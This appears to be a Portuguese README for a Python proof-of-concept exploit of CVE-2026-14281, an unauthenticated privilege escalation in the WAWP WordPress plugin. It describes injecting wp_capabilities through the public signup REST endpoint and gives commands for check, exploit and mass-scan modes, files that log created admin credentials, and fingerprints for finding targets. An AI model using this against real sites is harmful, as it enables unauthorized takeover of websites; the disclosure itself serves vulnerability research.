
Escalação de privilégios não autenticada no WordPress WAWP (Automation Web Platform) ≤ 4.8.6 via signup REST público e wawp_custom_fields não sanitizado → admin. PoC em Python de verificação/exploração (PoCbit).
PoC em Python 3 para CVE-2026-14281 no plugin WordPress Automation Web Platform (automation-web-platform — WAWP / Notifications & OTP for WooCommerce).
Listado em PoCbit — catálogo da comunidade: https://pocbit.org/pocs/
A execução do PoC imprime um cabeçalho PoCbit; as linhas JSONL incluem pocbit, pocbit_catalog e pocbit_page.
| Plataforma | Plugin WordPress |
| Componente | Automation Web Platform (WAWP) |
| Afetado | ≤ 4.8.6 |
| Corrigido em | > 4.8.6 (atualize para a versão estável mais recente) |
| CVSS 3.1 | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticação | Não autenticada |
| Vetor | REST público POST /wp-json/wawp/v1/signup/signup |
O manipulador REST de cadastro (public_permissions_check) aceita wawp_custom_fields, mapeia-o para custom_fields_data e, após wp_insert_user(), grava cada chave com update_user_meta() sem uma allowlist. Atacantes podem definir wp_capabilities e wp_user_level para obter administrador.
Código relevante (4.8.6): includes/api/class-wawp-rest-settings-api.php (/signup/(?P<op>…)), includes/auth-services/class-wawp-otp-service.php (wawp_custom_fields → custom_fields_data), includes/auth-services/class-wawp-signup.php (finish_registration_logic).
Quando o OTP de cadastro está ativado, a primeira chamada signup pode parar em otp_verify (desafio enviado) e o registro só é concluído após o OTP — a cadeia completa de admin não autenticado pode exigir OTP desativado ou um bypass de OTP separado. O PoC reporta otp_required nesse caso.
pip install -r requirements.txt
Python 3.8+.
# Version + REST surface + optional live signup probe (creates a throwaway user if OTP off)
python poc.py -u https://target.example --mode check
# Register admin-capable user (authorized targets only)
python poc.py -u https://target.example --mode exploit --verify
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 20 --quiet
# JSON to stdout (single target)
python poc.py -u https://target.example --mode check 2>nul
| Arquivo | Significado |
|---|---|
cve_2026_14281_results.jsonl | JSON completo por alvo |
hits.txt | Hosts candidatos (check) ou url|email|password (exploit) |
candidates.jsonl | Resumo do modo check |
body="/wp-content/plugins/automation-web-platform/"
body="/wp-json/wawp/"
Use apenas em sistemas que você possui ou tem permissão explícita para testar.
| Status | Significado |
|---|
exploit_confirmed_probe | Sondagem de cadastro concluída (OTP desativado); caminho de injeção de meta ativo |
vulnerable_otp_blocks_signup | Plugin/versão + REST OK; etapa de OTP bloqueia o cadastro em uma única tentativa |
vulnerable_rest_signup | Versão vulnerável; REST acessível (sondagem inconclusiva) |
patched | Versão > 4.8.6 |
no_plugin | Plugin não detectado |